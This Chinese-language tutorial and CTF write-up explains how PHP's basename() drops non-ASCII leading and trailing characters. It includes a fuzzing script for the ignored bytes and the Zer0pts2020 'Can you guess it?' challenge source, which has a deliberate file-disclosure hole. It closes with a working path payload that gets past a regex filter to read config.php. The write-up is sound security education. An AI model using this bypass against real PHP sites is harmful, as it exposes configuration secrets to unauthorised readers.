basename()
定義和用法
basename() 函數返回路徑中的文件名部分。
語法
basename(path,suffix)
參數 | 描述 |
---|---|
path | 必需。規定要檢查的路徑。 |
suffix | 可選。規定文件擴展名。如果文件有 suffix,則不會輸出這個擴展名。 |
例子
<?php
$path = "/testweb/home.php";
//顯示帶有文件擴展名的文件名
echo basename($path);
//顯示不帶有文件擴展名的文件名
echo basename($path,".php");
?>
輸出:
home.php
home
繞過原理
basename繞過最早出自於basename broken with non-ASCII-chars報告,大致意思是:
With the default locale setting "C", basename() drops non-ASCII-chars at the beginning of a filename.
在使用默認語言環境設置時,basename() 會刪除文件名開頭的非 ASCII 字符。
測試代碼:
<?php
$file = $_GET['file'];
echo basename($file);
返回結果:
http://localhost/?file=%ffindex.php/%ff
//index.php
http://localhost/?file=%ffindex.php
//index.php
http://localhost/?file=index.php%ff
//index.php
http://localhost/?file=index.php/%2b
//+
利用這個特性我們可以編寫腳本fuzz出會被basename忽略的字符,先測試一下URL編碼:
<?php
highlight_file(__FILE__);
$filename = 'index.php';
for($i=0; $i<255; $i++){
$filename = $filename.'/'.chr($i);
if(basename($filename) === "index.php"){
echo $i.'<br>';
}
$filename = 'index.php';
}
返回結果:
ascii值為47、128-255的字符均可以繞過basename()
其中47對應的符號為'/',在實際場景中沒有利用價值
那么也就是說我們可以利用一部分不可見字符來繞過basename()
同時,在測試中也可以發現中文字符也是可以繞過basename()
例如漢字、?、《、》、;等中文字符
例題
[Zer0pts2020]Can you guess it?
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
重點關注:
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])
這個正則匹配了 config.php/ 為 $_SERVER['PHP_SELF'] 的結尾,我們可以在config.php/
后面加上不可見字符污染來繞過正則匹配
題目的考點在於highlight_file(basename($_SERVER['PHP_SELF']));
這里存在一個任意文件讀取的漏洞,但是前提是需要source
值存在,這里的技巧在於:當我們傳入index.php/config.php
時,仍然請求的是index.php
,但是當basename()
處理后,highlight_file()
得到的參數就變成了config.php
,從而我們就實現了任意文件包含。結合上面的特性,我們可以構造出payload:
/index.php/config.php/啊?source
在鶴城杯2021 EasyP題目中也是同樣的方法,只不過傳遞的參數變成了show_source
,用.
或者[
就可以將參數傳過去,老Trick就不過多贅述了